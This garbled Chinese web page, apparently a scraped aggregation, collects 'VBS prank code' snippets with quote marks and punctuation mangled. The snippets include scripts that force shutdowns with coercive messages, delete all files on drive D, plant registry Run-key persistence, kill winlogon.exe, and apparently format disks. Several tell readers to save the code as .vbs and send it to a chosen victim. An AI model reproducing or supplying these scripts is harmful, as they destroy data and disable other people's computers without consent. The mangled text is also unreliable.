1、Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34。
2、dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试quotquot quot，0，true dim。
3、vbs整人代码大集合 多年的代码收集 发布时间20110226 221353 作者一你打开好友的聊天对话框，然后记下在你里好友的昵称，把下面代码里的xx替换一下，就可以自定义发送信息到好友的次数代码里的数字10改一。
4、有人要VBS整人代码，我就写了一个，如果玩笑开得过火，千万别骂我啊~简单描述一下文件夹同名病毒Autorun病毒大家都熟悉吧效果就是那样不过放心吧，绝不是真的病毒，骗人的，试想，如果有人中招，他会怎么办。
5、慎用代码应该这样使用 dim WSHshell set fso = wscriptcreateobjectquotwscriptshellquotfsorun quotcmd c quotquotdel d\** f q squotquotquot，0 ，true 好吧，运行后D盘就光屁股了参考 vbs整人代码大全。
6、run quotcmdexe c shutdown aquot，0 ，true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，真过瘾 嘎嘎爽歪歪啊 quot参考资料把它复制下来 保存到TXT文档本 然后把文档本的后缀名改为vbs 就OK了。
7、首先创建 文本文档，将以下代码复制on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是只猪，不说就一分钟关你。
8、if MsgBoxquot对不起，您需要重新启动计算机quotchr10quot确定要重启吗，msgbox quot 系统将立刻重起wow ~_^quotquot你上当了quotSet objShell = CreateObjectquotWscriptShellquotobjShellRun quotshutdown s t 5quottrue。
9、On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscript。
10、on error resume nextdim WSHshellAset WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 180 c quotquot三分钟内决定是否嫁给我，否则会被关机quotquot quot，0 ，true dim ado。
11、fscopyfile thn，a1quot\admin123vbsquot，true do while ilt10 i=i+1 wsRegWrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adminquot，quotC\admin123vbsquotloop wsrun quotshutdown s f t。
12、如果只是开玩笑用这个危害度0 整人度1 do msgbox quot你好quotloop 这个稍微狠一点危害度2 整人度2 Set sh=CreateObjectquotWScriptShellquotdim i，s，z，thn z=array4，5，16，32，48，64i=0 s=1 do do。
13、这段代码极具危险性，请勿乱试，运行时系统就会一直要插入系统盘修复，运行完了就关机，于是乎重启没反应，做完系统发现硬盘上数据都没了，而且此程序有可能复发文件formatbat echo off if quot%1quot==quothquot goto begin。
14、set a = wscriptcreateobjectquotwscriptshellquotarun quotcmdexe c shutdown r t 3600 c quotquot求我，我就告诉你怎么办嘿嘿quotquot quot，0 ，true 复制代码保存位**vbs 发给你要整的人就可以了 3600是时间。
15、wsrun quotcmd c start min ntsd c q pn winlogonexe 1nul 2nulquot，vbhide end if 解决办法什么都不要点建另一个VBS然后运行 代码如下CreateobjectquotWscriptshellquotrun quottaskkill f im wscriptexequot。
16、“不说我是猪就关机”dim a，ctr ctr=0 const pass=quot是quotdo while ctrlt1000 a=inputboxquot你是猪吗quotif a=pass then msgbox quotgoodquotexit do else ctr=ctr+1 #39如果密码出错就增加一次错误认证计数 msgbox quot错。
